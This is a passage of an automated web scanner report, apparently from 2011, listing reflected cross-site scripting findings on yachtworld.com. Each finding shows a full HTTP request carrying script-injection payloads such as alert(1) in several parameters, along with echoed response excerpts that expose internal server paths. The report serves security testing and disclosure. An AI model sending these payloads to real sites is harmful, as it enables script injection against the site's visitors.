VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:35:17 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "75325f3b9e';alert(1)//977a17ea687"<br> ...[SNIP]...
The value of the url request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 51164'%3balert(1)//c9f3c0456e8 was submitted in the url parameter. This input was echoed as 51164';alert(1)//c9f3c0456e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/rendering/print-boat.htm?url=legendary51164'%3balert(1)//c9f3c0456e8&boatId=2266476&officeId=75325&isPLS=0 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:35:13 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: Could not find Listing with url: legendary51164';alert(1)//c9f3c0456e8<br> ...[SNIP]...
3.499. http://www.yachtworld.com/core/sponsored-boats/search.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/sponsored-boats/search.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8daeb"><script>alert(1)</script>fae815429d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/sponsored-boats/search.htm?8daeb"><script>alert(1)</script>fae815429d8=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:16 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into an HTML comment. The payload 48d13--><script>alert(1)</script>fce375a970 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /donnellyyachts/donnellyyachts_2.cgi?company=donnellyyachts&limit=50&type=%28Power%29&new=&units=Feet&hosturl=donnellyyachts48d13--><script>alert(1)</script>fce375a970&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:52:05 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload 8aaea<script>alert(1)</script>1740f523faf was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /donnellyyachts/donnellyyachts_2.cgi?company=donnellyyachts&limit=50&type=%28Power%29&new=&units=Feet&hosturl=donnellyyachts8aaea<script>alert(1)</script>1740f523faf&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:52:02 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/donnellyyachts8aaea ...[SNIP]... </script>1740f523faf/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/donnellyyachts8aaea<script>alert(1)</script>1740f523faf/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/donnellyyachts8aaea<script> ...[SNIP]...
The value of the office_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7237a"><script>alert(1)</script>a865df0d3e4 was submitted in the office_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /jarrettbay/email.cgi?url=jarrettbay&office_id=1023057237a"><script>alert(1)</script>a865df0d3e4&boat_id=2194614 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 